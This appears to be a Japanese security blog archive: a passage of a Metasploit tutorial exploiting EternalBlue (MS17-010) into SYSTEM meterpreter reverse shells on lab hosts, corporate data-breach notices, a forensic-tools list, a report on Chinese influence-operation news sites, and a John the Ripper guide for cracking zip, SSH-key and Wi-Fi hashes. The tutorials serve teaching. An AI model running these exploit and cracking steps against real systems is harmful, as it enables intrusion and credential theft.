   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
                                             using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Ser
                                             ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server
                                             2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
                                             indows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.29.55.196    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

setgコマンドを使えば、すべてのモジュールで使われる値を設定することができます。setgコマンドはsetコマンドと同じように使います。違うのは、set コマンドを使ってあるモジュールで値を設定した後、別のモジュールに切り替えた場合、再度値を設定する必要があるということです。setgコマンドは、異なるモジュール間でデフォルトで使用できるように値を設定することができます。setgで設定した値は、unsetgでクリアできます。

以下の例では、以下のフローを使用しています;

  1. ms17_010_eternalblueエクスプロイトを使用します。
  2. setコマンドの代わりにsetgコマンドを使用してRHOSTS変数を設定します。
  3. backコマンドを使用して、エクスプロイト・コンテキストから抜けます。
  4. 補助ツールを使用します(このモジュールはMS17-010の脆弱性を発見するためのスキャナーです)。
  5. show optionsコマンドは、RHOSTSパラメータにターゲット・システムのIPアドレスがすでに入力されていることを示しています。

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > setg rhosts 10.10.165.39
rhosts => 10.10.165.39
msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name         Current Setting                      Required  Description
   ----         ---------------                      --------  -----------
   CHECK_ARCH   true                                 no        Check for architecture on vulnerable hosts
   CHECK_DOPU   true                                 no        Check for DOUBLEPULSAR on vulnerable hosts
   CHECK_PIPE   false                                no        Check for named pipe on vulnerable hosts
   NAMED_PIPES  /usr/share/metasploit-framework/dat  yes       List of named pipes to check
                a/wordlists/named_pipes.txt
   RHOSTS       10.10.165.39                         yes       The target host(s), see https://docs.metasploit.com/docs/using-
                                                               metasploit/basics/using-metasploit.html
   RPORT        445                                  yes       The SMB service port (TCP)
   SMBDomain    .                                    no        The Windows domain to use for authentication
   SMBPass                                           no        The password for the specified username
   SMBUser                                           no        The username to authenticate as
   THREADS      1                                    yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_ms17_010) >

setgコマンドは、Metasploitを終了するか、unsetgコマンドを使ってクリアするまで使用されるグローバルな値を設定します。

モジュールを使う

モジュールのパラメータをすべて設定したら、exploitコマンドを使ってモジュールを起動することができます。Metasploitはrunコマンドもサポートしていますが、これはexploitコマンドの別名で、exploitではないモジュール(ポートスキャナや脆弱性スキャナなど)を使うときにexploitという単語が意味をなさないために作られたものです。

exploitコマンドは、パラメータなしで使用することも、"-z "パラメータを使用して使用することもできます。

exploit -zコマンドは、セッションが開くとすぐにexploitを実行し、バックグラウンドにします。

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -z

[*] Started reverse TCP handler on 10.10.44.70:4444 
[*] 10.10.12.229:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.12.229:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.12.229:445      - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.12.229:445 - Connecting to target for exploitation.
[+] 10.10.12.229:445 - Connection established for exploitation.
[+] 10.10.12.229:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.12.229:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.12.229:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.12.229:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.12.229:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.12.229:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.12.229:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.12.229:445 - Sending all but last fragment of exploit packet
[*] 10.10.12.229:445 - Starting non-paged pool grooming
[+] 10.10.12.229:445 - Sending SMBv2 buffers
[+] 10.10.12.229:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.12.229:445 - Sending final SMBv2 buffers.
[*] 10.10.12.229:445 - Sending last fragment of exploit packet!
[*] 10.10.12.229:445 - Receiving response from exploit packet
[+] 10.10.12.229:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.12.229:445 - Sending egg to corrupted connection.
[*] 10.10.12.229:445 - Triggering free of corrupted buffer.
[*] Sending stage (201283 bytes) to 10.10.12.229
[*] Meterpreter session 2 opened (10.10.44.70:4444 -> 10.10.12.229:49186) at 2021-08-20 02:06:48 +0100
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Session 2 created in the background.
msf6 exploit(windows/smb/ms17_010_eternalblue) >

これにより、エクスプロイトを実行したコンテキスト・プロンプトが返されます。

checkオプションをサポートしているモジュールもあります。これは、ターゲットシステムが脆弱かどうかを、エクスプロイトせずにチェックします。

セッション

脆弱性の悪用に成功すると、セッションが作成されます。これはターゲットシステムとMetasploitの間に確立された通信チャネルです。

セッションプロンプトをバックグラウンドにして msfconsole プロンプトに戻るには background コマンドを使用します。

meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/smb/ms17_010_eternalblue) > 

また、CTRL+Z を使用してセッションをバックグラウンドにすることもできます。

sessions コマンドは msfconsole プロンプトまたは任意のコンテキストから使用でき、既存のセッションを確認できます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

Active sessions
===============

  Id  Name  Type                     Information                   Connection
  --  ----  ----                     -----------                   ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)

msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 > sessions 

Active sessions
===============

  Id  Name  Type                     Information                   Connection
  --  ----  ----                     -----------                   ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)

msf6 >

任意のセッションと対話するには、sessions -iコマンドの後に目的のセッション番号を続けます。

msf6 > sessions

Active sessions
===============

  Id  Name  Type                     Information                   Connection
  --  ----  ----                     -----------                   ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)

msf6 > sessions -i 2
[*] Starting interaction with 2...

meterpreter >


出典:Metasploit: Introduction

【セキュリティ事件簿#2024-336】宇野港土地株式会社 「たまの湯LINE会員システム」「WEB予約システム」への不正アクセスによる情報流出の可能性に関するお知らせとお詫び 2024/7/29

 

このたび、弊社サーバー機器が外部からの不正アクセスを受け、お客様情報等の漏えいが疑われる事実が判明いたしましたことをお知らせいたします。

お客様をはじめ多くの関係者の皆様に多大なるご迷惑とご心配をおかけすることとなり、謹んでお詫び申し上げます。

現在、鋭意調査を続けており、現時点で判明している事実及び弊社対応について、以下のとおりご報告いたします。

【経緯及び状況】

2024年7月11日 、社内スタッフより当該システムへのアクセスができないとの報告が相次ぎ、サーバー業務を委託している業者へ調査を依頼したところ、弊社サーバー機器が第三者による不正アクセス攻撃を受けた形跡を確認したため、直ちに運用を停止し、アクセスできない状態にいたしました。現在問題のあったWindowsシステムの排除・セキュリティの強化・ログインPASSの変更を行い、7月中での復旧を想定しております。

【流出した可能性があるお客様情報】

●たまの湯LINE 有料会員 様

 住所・氏名・生年月日・性別・電話番号

 漏えいしたと推測されるお客様情報の対象件数:6,612件

●レストラン(旬菜旬魚 海廊)、レンタサイクルWEB予約サービスご利用者 様

 住所・氏名・団体名・電話番号・メールアドレス・予約システムへのログインPASS

 漏えいしたと推測されるお客様情報の対象件数:4,235件

今後、フィッシングメールやスパムメール等が送付される可能性がございますので、不審なメールを受取られた場合は、慎重に対応くださいますようお願い申し上げます。また、他社WEBサイト等でも同じパスワードを使用されている場合は、他社WEBサイトでのパスワードをご変更くださいますよう、併せてお願い申し上げます。

【今後の対応】

外部専門家の調査にて、影響の範囲を確定させるまでに時間を要し、今回の発表までお時間をいただきましたことお詫び申し上げます。既に警察及び個人情報保護員会に必要な報告を行い、専門家の協力を得ながら関係各機関と連携し、事実の確認と適正な対応に努めております。

弊社は、今回の事態を重く受け止め、従来以上の情報管理取扱いに万全を期し、サーバーのアクセスポートを限定の上、接続元IP制限を行い、情報セキュリティを一層強化するとともに、再発防止に全力で取り組んで参ります。

この度は皆様に多大なるご迷惑ご心配をお掛けしますこと、改めて深くお詫び申し上げます。

リリース文アーカイブ

【セキュリティ事件簿#2024-313】岡山ガス株式会社 不正アクセスによるお客さま等に関する情報流出の可能性についてお詫びとお知らせ 2024/7/18

 

東京ガスエンジニアリングソリューションズ株式会社(以下「TGES」)のネットワークへ不正アクセスがあり、TGES のサーバー等に保管されているお客さま等に関する情報について流出の可能性があることが 2024 年 7 月 17 日に発表されました。

当社は、TGES へお客さま情報を管理するシステムの運用を委託していたことから、当社のお客さま情報につきましても一時的に外部から閲覧できる状態になっていたことが判明しました。

当社としましては、情報流出の可能性があることを個人情報保護委員会へ報告しましたが、現在のところ、その個人情報が流出した痕跡は確認できておらず、情報が不正利用された事実も確認できていないと TGES より報告を受けております。

なお、不正アクセスを受けた TGES ネットワークへの外部からの経路は、速やかに接続遮断を行い、それ以降外部からアクセスが出来ないよう対策を講じております。

このたびは、多くの方に多大なるご迷惑、ご心配をおかけしておりますことを、深くお詫び申し上げます。今後、TGES と連携し、原因究明を進めるとともに、厳重なセキュリティ体制の構築による再発防止に取り組んでまいります。

1.流出の可能性のある個人情報

 

流出の可能性のある個人情報            

  お客さま名、建物名、使用量、供給先番号等

(住所、電話番号、メールアドレス、銀行口座情報、クレジッ
トカード情報は含まれておりません。)

個人情報数  約12万件

 

 

2.今後の対応について

業務委託先の東京ガスエンジニアリングソリューションズ株式会社と連携し、状況把握を進め、適切に対応させていただきます。

リリース文アーカイブ

無料のデジタル・フォレンジック・ツール5選


デジタルフォレンジックは、サイバー攻撃の分析と対処において重要な役割を果たし、インシデントレスポンスの重要な要素です。さらに、デジタル・フォレンジックは、攻撃後の監査人、法務チーム、法執行機関にとって重要な情報を提供します。

多くの最先端のデジタル・フォレンジック・ツールが市場に出回っていますが、それらを購入する余裕がない人のために、ここでは、始めるのに最適な無料のソリューションのリストを紹介します。

Autopsy


Autopsyは、法執行機関、軍関係者、企業調査員がコンピュータ上の活動を調査し理解するために広く採用されているデジタル・フォレンジック・プラットフォームです。Autopsyはクロスプラットフォームとして設計されていますが、最新バージョンはWindows上でのみ完全な機能を持ち、テストされています。

bulk_extractor

bulk_extractorは、デジタル・フォレンジック分析のための高速ツールです。ディスクイメージ、ファイル、ディレクトリなどの様々な入力をスキャンし、電子メールアドレス、クレジットカード番号、JPEG画像、JSONフラグメントなどの整理された情報を抽出します。これは、ファイルシステムやその構造を解析する必要なく実現されます。抽出されたデータはテキストファイルに保存され、検査、検索、またはさらなるフォレンジック調査の入力として利用することができます。

NetworkMiner


オープンソースのネットワーク・フォレンジック・ツールであるNetworkMinerは、PCAPファイルにキャプチャされたネットワーク・トラフィックからファイル、画像、電子メール、パスワードなどのアーティファクトを抽出することに特化しています。さらに、ネットワーク・インターフェイスをスニッフィングすることで、ライブ・ネットワーク・トラフィックをキャプチャすることもできます。

Velociraptor


Velociraptorは、エンドポイントのアクティビティに対する洞察力を向上させるために設計された、洗練されたデジタル・フォレンジックおよびインシデント対応ツールです。数個のボタンを押すだけで、エンドポイント全体で同時に、デジタル・フォレンジック証拠の標的型収集を迅速かつ正確に実行します。

WinHex

WinHexは、コンピュータフォレンジック、データ復旧、低レベルデータ処理、ITセキュリティの分野で特に役立つ多機能な16進エディタです。様々な種類のファイルを検査・修正したり、削除されたファイルを復元したり、ファイルシステムが損傷したハードドライブやデジタルカメラカードから失われたデータを取り戻すことができます。

C国が対外工作で作成しているウェブサイト

pooh

ヨーロッパ、アジア、ラテンアメリカなど約30カ国で現地の報道機関を装いながら、C国内から運営されているウェブサイトが123見つかりました。これらのサイトは親北京の偽情報を展開することで世論工作を狙っています。

背景

2023年10月、イタリアの新聞『Il Foglio』は、イタリアの読者向けにニュースを装う6つのウェブサイトが、イタリア国内に実在する報道機関とは無関係であることを暴露する記事を掲載しました。Il Foglioの調査によると、これらのウェブサイトは、国内で活動する情報機関に法的に義務付けられている登録がなされていないことが確認されました。

Il Foglioは、コンテンツ分析と6つのドメインがC国の企業であるTencent Computer Systems Inc.が所有するIPアドレスに紐づくことから、このネットワークはC国が運営している可能性があると主張しています。イタリアの新聞はまた、6つのウェブサイトにリンクされたより広範なウェブサイトの存在を示唆しました。

広がるC国工作サイトのネットワーク


イタリアの新聞『Il Foglio』により特定された6つのドメインは以下の通りです。
  • italiafinanziarie[.]com
  • napolimoney[.]com
  • romajournal[.]org
  • torinohuman[.]com
  • milanomodaweekly[.]com
  • veneziapost[.]com
上記に紐づくIPは以下の通りでした。

IPOWNED BYFIRST SEENLAST SEEN
3.12.149[.]243Amazon Web Services (AWS)2021-08-142023-07-06
162.62.225[.]65Tencent Computer Systems Company Limited, Shenzhen2023-07-072023-07-08
43.157.63[.]199Tencent Computer Systems Company Limited, Shenzhen2023-07-092023-10-28
(date of the last check)

そして、上記IPに紐づくドメインは100以上ありました。

工作サイトの内容

特定されたウェブサイトはすべてほぼ同じメニューを持っており、典型的なものとして、まずターゲット先の言語で翻訳されており、政治、経済、文化、時事、スポーツネタを取り扱っている。

実際に投稿されているコンテンツは、対象国の地元メディアからスクラップして再投稿したものやプレスリリースが中心となり、時折C国メディアの記事や匿名の偽情報コンテンツが混在する。

また、コンテンツは複数のウェブサイトに同時にクロスポストされていることが観察された。

ターゲットとされている国は以下の通りで日本も含まれる。


日本で展開する工作サイトのドメイン

工作サイトは100を超える数が世界で展開されており、日本では以下の15ドメインで工作が行われている。

  • dy-press[.]com (DYP東海通信社)
  • fujiyamatimes[.]com (富士山時刻)
  • fukuitoday[.]com (今日の福井)
  • fukuoka-ken[.]com (福岡エクスプレス)
  • ginzadaily[.]com(銀座デイリー, 銀座新聞)
  • kanagawa-ken[.]co (神奈川新聞)
  • hokkaidotr[.]com  (北海道トラベルネット)
  • meiji-mura[.]com (明治発展日報)
  • nihondaily[.]com (霓虹にほん)
  • nikkonews[.]com (日光新聞)
  • saitama-ken[.]com (埼玉ネット)
  • sendaishimbun[.]com (仙台ニュース)
  • tokushima-ken[.]com (徳島オンライン)
  • tokyobuilder[.]com (东京ビルダーズ)
  • yamatocore[.]com (邪马台内陆部)

【セキュリティ事件簿#2024-335】公益社団法人日本トライアスロン連合 本会業務委託先における不正アクセス被害に伴う 情報漏えいのおそれについて 2024/7/26

 

今般、公益社団法人日本トライアスロン連合(以下、「JTU」といいます)が法定調書作成に関する業務を委託しておりました税理士法人夏目事務所(以下、「夏目事務所」といいます)のサーバーにおいて不正アクセス被害が発生し、本会から法定調書を発行した職員、業務委託者、指導者、審判員、強化費対象選手等の情報の漏えいのおそれがあることが、夏目事務所からの報告により判明いたしました。

対象となる関係者の皆様に大変なご心配とご迷惑をおかけすることとなり深くお詫び申し上げます。

1.情報漏えいの恐れがある情報

1)対象者

法定調書※作成対象者(平成 28 年から令和 4 年分)337 名

※「報酬、料金、契約金及び賞金の支払調書」「給与所得の源泉徴収票」

2)含まれる個人情報

「報酬、料金、契約金及び賞金の支払調書」・・氏名、住所、支給額

「給与所得の源泉徴収票」・・・氏名、住所、生年月日、マイナンバー

2.業務委託先

税理士法人夏目事務所(https://www.natsumeoffice.or.jp/)

3.経緯と原因

夏目事務所のサーバーに対する第三者からの不正アクセスにより、サーバーに保管していた個人情報等が漏えいした可能性がある旨、2024 年 7 月 24 日に夏目事務所から JTU に対する報告があり判明しました。

不正アクセスの状況については以下をご参照ください。


4.今後の対応

あらためてこのような事象が発生したことについて、深くお詫び申し上げます。対象者の方々へは順次、お詫びとお知らせのご連絡をいたします。

また、現在のところ二次被害の発生の報告は受けておりませんが、不審な郵便物等が届くなどの二次被害にご注意をお願いいたします。ご不安等がございましたら専用お問合せ窓口または JTU 事務局までご連絡をお願いいたします。なお、マイナンバーについては専用ソフトによる暗号化済みである旨、夏目事務所から報告を受けています。

今回の事態を重く受け止め、本会のみならず関係事業者・団体含め、個人情報の適正管理、情報セキリュティ体制の確保を徹底し、再発防止に努めてまいります。

【セキュリティ事件簿#2024-335】税理士法人夏目事務所 不正アクセスによる個人情報等の漏えいに関するお詫びとお知らせ 2024/7/22

 

このたび、弊所のサーバーが第三者からのランサムウェアによる不正アクセス攻撃を受け、弊所で保管していた個人情報等の情報について漏えいした可能性があることを確認いたしました。

弊所の顧問先、お取引先の皆様に、多大なるご心配をおかけする事態となりますこと、深くお詫び申し上げます。

弊所は、本件を厳粛に受け止め、再発防止策を講じてまいります。

1. 本件の概要

弊所のサーバーに対する第三者からの不正アクセスです。当該不正アクセスにより、サーバーに保管していた個人情報等が漏えいした可能性がございます。

2024 年 5 月 19 日、弊所のシステムが正常に稼働しない事象が発生したため、確認をしたところ、サーバーがランサムウェアの被害を受けたことが判明いたしました。

その後、専門会社による調査の結果、攻撃の内容から、個人情報等の漏えいの可能性を否定できないものと判断いたしました。

2. 漏えい懸念対象者と情報の内容

弊所が顧問先、お取引先から税務申告のためにお預かりした情報となります。

※クレジットカード情報は弊所にて保有しておりませんので漏えいの可能性はありません。 

3. 弊所の対応

(1) 専用ご相談窓口の設置

本件専用のご相談窓口を設置いたしました。

(2) 顧問先等、お取引先様へのお詫びのご案内

個別通知可能な顧問先・お取引先については、弊所担当者により個別にご案内をいたしております。

(3) 関係行政機関への報告

① 個人情報保護委員会に報告いたしました。
② 警視庁サイバーセキュリティ対策本部に報告いたしました。 

4. 再発防止策

専門会社と協議のうえ、ネットワーク機器などを取り替え、セキリュティ機能を強化したシステム構築をいたします。

5. 二次被害防止へのご協力のお願い

現在のところ二次被害の発生の報告は受けておりませんが、不審な郵便物等が届くなどの二次被害にご注意をお願いいたします。ご不安等がございましたら弊所までご連絡をお願いいたします。警察当局に捜査協力を依頼する等、対策を講じてまいります。

6. 発表とご案内まで期間を要したことのお詫び

弊所が本件の疑いを認知した日から本日のご案内まで期間を要しましたことを、深くお詫び申し上げます。認知した日に発表とご案内を行うことも検討しましたところ、不確定な情報をもって発表することからは、より一層のご不安をお掛けすることにつながるため、本日、発表を行うことと決定いたしました。お時間をいただきましたこと、お詫び申し上げます。 

【セキュリティ事件簿#2024-334】株式会社朋栄 お客さまに関する情報漏えいについてのお詫びとお知らせ 2024/7/19

 

このたび、損害保険ジャパン社から弊社への出向転籍者により、アパートローン利用者様向け火災保険をご契約いただいているお客さまに関する情報が損害保険ジャパン社に漏えいしていたことが、同社からの報告により判明いたしました。

お客さまには多大なご迷惑とご心配をおかけすることになりましたことを、深くお詫び申し上げます。

現時点で確認している事実は以下のとおりです。

■漏えいの内容

1.対象者

アパートローン利用者様向け火災保険契約者

2.対象期間

2021 年 5 月~11 月、2022 年 2 月~2024 年 5 月始期契約

3.漏えいしたお客さま数

1,518 名(個人 890 名、法人 628 社)

4.漏えいした情報

保険契約者名、法人個人区分、保険会社名(損害保険会社 4 社)、保険種目、

保険始期、保険料、紹介先、弊社担当者名、弊社案件番号等

5.漏えいした情報の使途

損害保険ジャパン社員からの契約シェア確認の要請に対し、同社からの出向転籍者が情報提供を行っていたものです。

損害保険ジャパン社から外部への漏えいがないことは確認しております。

■今後の対応

1.お客さまへのご連絡

漏えいが確認されたお客さまへは、順次郵送等によりご連絡させていただきます。

2.信頼回復に向けた取組み

このような事態を発生させたことを真摯に受け止め、社内調査を通じて全容を把握するとともに、判明した原因に対する再発防止策を社内徹底することでお客さまからの信頼回復を図ってまいります。 

【セキュリティ事件簿#2024-334】株式会社トータル保険サービス お客様の契約情報等の漏えいについて 2024/7/12

 

弊社株式会社トータル保険サービスは損害保険ジャパン株式会社(以下「SJ 社」といいます。)の取扱代理店ですが、このたび、弊社のお客様がご契約されている損害保険契約に関する情報(一部個人情報を含みます)が、弊社から SJ 社に漏えいしていたことが判明いたしました。現時点では、SJ 社から弊社への出向者による情報漏えいであることは判明していますが、詳細については現在調査を進めているところです。

お客様にはご迷惑とご心配をおかけすることになり深くお詫び申し上げます。

現時点で確認できています事実関係は以下のとおりです。

1.経緯

  • 7月 10日(水)、SJ 社から弊社に対する報告により発覚

2.漏えいが確認された情報

  • 保険契約者名(法人名および一部代表者名等)、保険会社名(SJ 社を含む損害保険会社計19社)、保険種目、保険期間、保険料、弊社担当部署名、弊社担当者名等

3.対象となる延べ契約件数

  • 約 2,700 件

4.今後の対応

  • 関係機関に報告するとともに、対象となるお客様には順次ご連絡させていただきます。また、これと並行して調査を進めてまいります。

リリース文アーカイブ

【セキュリティ事件簿#2024-334】株式会社千葉銀行 お客さまに関する情報漏えいについてのお詫びとお知らせ 2024/7/26

 

株式会社千葉銀行(取締役頭取 米本 努、以下「当行」)において、複数の損害保険会社から受託している火災保険等の保険料に係る集金情報が、損害保険ジャパン株式会社(以下、「同社」)に漏えいしていたことが、同社からの報告により判明いたしました。

お客さまをはじめとする関係者の皆さまに、ご迷惑とご心配をおかけすることを、心よりお詫び申し上げます。

現時点で確認できている事実関係は以下の通りです。

1.漏えいの内容

(1) 対象者

当行または保険代理店である東方エージェンシー株式会社の募集により火災保険等を申し込み、当行に口座振替等を依頼した個人および法人のお客さま

(2) 漏えいが確認されたまたは漏えいのおそれがある情報

契約者名、取引店番号、取引店名、顧客番号、証券番号、保険料、保険会社名、保険種類、商品名

(3) 漏えいが確認されたまたは漏えいのおそれがあるお客さまの数(最大)

個人のお客さま:約 10,800 先

法人のお客さま:約 700 先

※他の損害保険会社の火災保険商品の当行における取扱開始(2002 年 4 月)以降の累計

(4) 対象期間(最大)

2002 年4月~2024 年4月

※現時点では、2008 年以降の同社からの出向者による情報漏えいが判明しています。なお、同社より2008 年以前の情報についても漏えいの可能性があると指摘されているため、現在、調査を進めております。

(5) 漏えいした情報の使途

同社において、各損害保険会社のシェア確認のために取引店番号と保険料の情報が利用されました。

一方、契約者名、証券番号等、個人が特定できる情報は利用していない旨の報告を受けています。

また、漏えいした集金情報は同社から外部に流出していないことを同社に確認しております。

2.二次被害のおそれ

現時点では、漏えいした個人情報の悪用等による二次被害またはそのおそれは確認されておりません。

3.今後の対応

(1)お客さまへのご案内

漏えいまたは漏えいのおそれが確認されたお客さまに対して、個別連絡等を通じてご案内していきます。

(2)信頼回復に向けた取組み

当行はこの事態を真摯に受け止め、社内調査を進め全容を把握するとともに、判明した原因に対する再発防止策を徹底することで、お客さまからの信頼回復を図ってまいります。

リリース文アーカイブ

【KALI LINUX】 John the Ripper ~パスワードクラッカー~


今日は「John the Ripper」を紹介したいと思います。

John the Ripperはオープンソースのパスワードクラッカーで、複数のアルゴリズムを使ってパスワードをブルートフォースすることができます。様々な種類のドキュメントやアーカイブのパスワードを解除したり、様々なリソースのシンプルなユーザーパスワードを解除することができます。Johnの欠点は、ハッシュをクラックすることしかできないことです。つまり、暗号化されたファイルを直接扱うことはできません。例えばオフィス文書を開き、そこにパスワードを入力するようなことはできません。

以下の例では、JohnがすでにインストールされているKali Linuxを使って説明します。インストールは以下のコマンドで行えます。

# sudo apt install john -y

例として、暗号化されたアーカイブのパスワードをクラックする方法を見てみましょう。

ハッシュ値の抽出

まず、問題のファイルのハッシュを計算(抽出)する必要があります。zip2johnと呼ばれる補助ユーティリティーを使います。

ここで、アーカイブがあるフォルダに移動します。

# cd (ファイルパス)

zip2johnを実行し、結果(抽出したハッシュ)をTest.txtという同じフォルダに保存します。

# zip2john Test.zip > Text.txt

異なるファイル形式からハッシュを抽出する場合は、補助ユーティリティの名称が変わります。いくつか例を挙げてみましょう。

rarファイルからハッシュを抽出する場合。

# rar2john Test.rar > Text.txt

7zアーカイブからハッシュを抽出する場合。

# 7z2john.pl '/mnt/disk_d/Arch/from_kali.7z'

MS Word 2019ファイルからハッシュを抽出する場合。

# office2john.py '/mnt/disk_d/Share/Secret.docx' 2>/dev/null

Wi-Fiハッキングのためのハンドシェイクからハッシュを抽出する場合。

# wpapcap2john ~/RT-725140.pcap

キャプチャしたネットワークトラフィックからVNCハンドシェイクのハッシュを抽出する場合。

# vncpcap2john '/home/mial/VNC.pcapng'

SSHキーのハッシュを抽出する場合。

# ssh2john id_rsa > Text.txt

この抽出したText.txtファイルに対して、johnコマンドで解析を進めます。

ランニング

最も頻繁に使われるオプションとしては、--mask(パスワードを生成するためのマスク)と--wordlist(辞書ファイルの指定)が挙げられます。

辞書ファイルを用いた解析を行うには、辞書が必要です。Kali Linuxにはseclistsと呼ばれるパッケージが用意されているのでインストールします。

# sudo apt install seclists -y

/usr/share/seclists/ 配下にファイルが展開されます。

辞書攻撃を行うには、次のようなコマンドを実行します。
john --wordlist=(辞書ファイル)

辞書として、/usr/share/seclists/Passwords/rockyou.txtファイルを使う場合、コマンドは以下のようになります。

john --wordlist=/usr/share/seclists/Passwords/rockyou.txt Text.txt

実行結果の例は以下となり、pass123がパスワードであることが分かります。

# sudo john --wordlist=/usr/share/seclists/Passwords/rockyou.txt Text.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pass123          (secure_1605054835063.zip/zippy/flag.txt)
1g 0:00:00:00 DONE (2024-07-26 21:44) 8.333g/s 136533p/s 136533c/s 136533C/s 123456..christal
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

マスク攻撃を行うには、次のような形式のコマンドを使用します。

./john --mask=(マスクハッシュ)

例えば、こんな感じです。

./john --mask='?d?d?d?d?d?d' Text.txt

マスク別にパスワードを把握するためのちょっとしたメモをご紹介します。

Static Characters.
Ranges in the syntax [aouei] or [a-z]. Or both, [0-9abcdef] is the same as [0-9a-f].
Fillers that are just an abbreviated form for ranges, such as ?l, which is 100% equivalent to [a-z].
?l is lowercase ASCII letters
?u are ASCII uppercase letters.
?d are numbers
?s are special characters (all printable ASCII characters except those included in ?l, ?u, or ?d)
?a is full "printable" ASCII. Note that for formats that are not case-sensitive (e.g., LM), this designation includes only lowercase characters, which significantly reduces the key space (the number of possible password candidates), but still covers all possible variants available for a given hash type.
?B is all 8-bit (0x80-0xff)
?b is all (0x01-0xff) (the NULL character is currently not supported by the kernel).
?h are lowercase hexadecimal digits (0-9, a-f)
?H are upper case HEX digits (0-9, A-F)
?L are lowercase, non-ASCII letters
?U are uppercase letters, non-ASCII
?D are "numbers", non-ASCII
?S is for non-ASCII "special characters"
?A is all valid characters in the current code page (including ASCII). Note that for formats that do not recognize case (e.g. LM), this includes only lowercase characters, which greatly reduces the number of password candidates without compromising cracking.
Fillers that are user-defined, so we can, for example, set the value to ?1 and assign it a value, such as [?u?l]. In Hashcat, this is called "user-defined character sets".
?1 .. ?9 is a user-defined placeholder 1 . 9
Fillers for hybrid mask mode:
?w is in Hybrid Mask Mode denotes the source word created by the parent mode.
?W is like ?w except that the source word is case-sensitive (so PassWord becomes PASSWORD).

今回は、John the Ripperの用途の一つをざっと見てみましたが、決してそれだけではありません。

LinuxでJohnを使えない場合は、開発者が気を利かせて、WindowsやMacOSで使える可能性を加えてくれましたが、これはお勧めできません。興味のある方は、インターネット上にたくさんのガイドや記事があります。

以上、ここから先は誠意を持って対応してください この記事がどなたかのお役に立てれば幸いです。

出典:Брутфорс - John the Ripper

出典:John The Ripper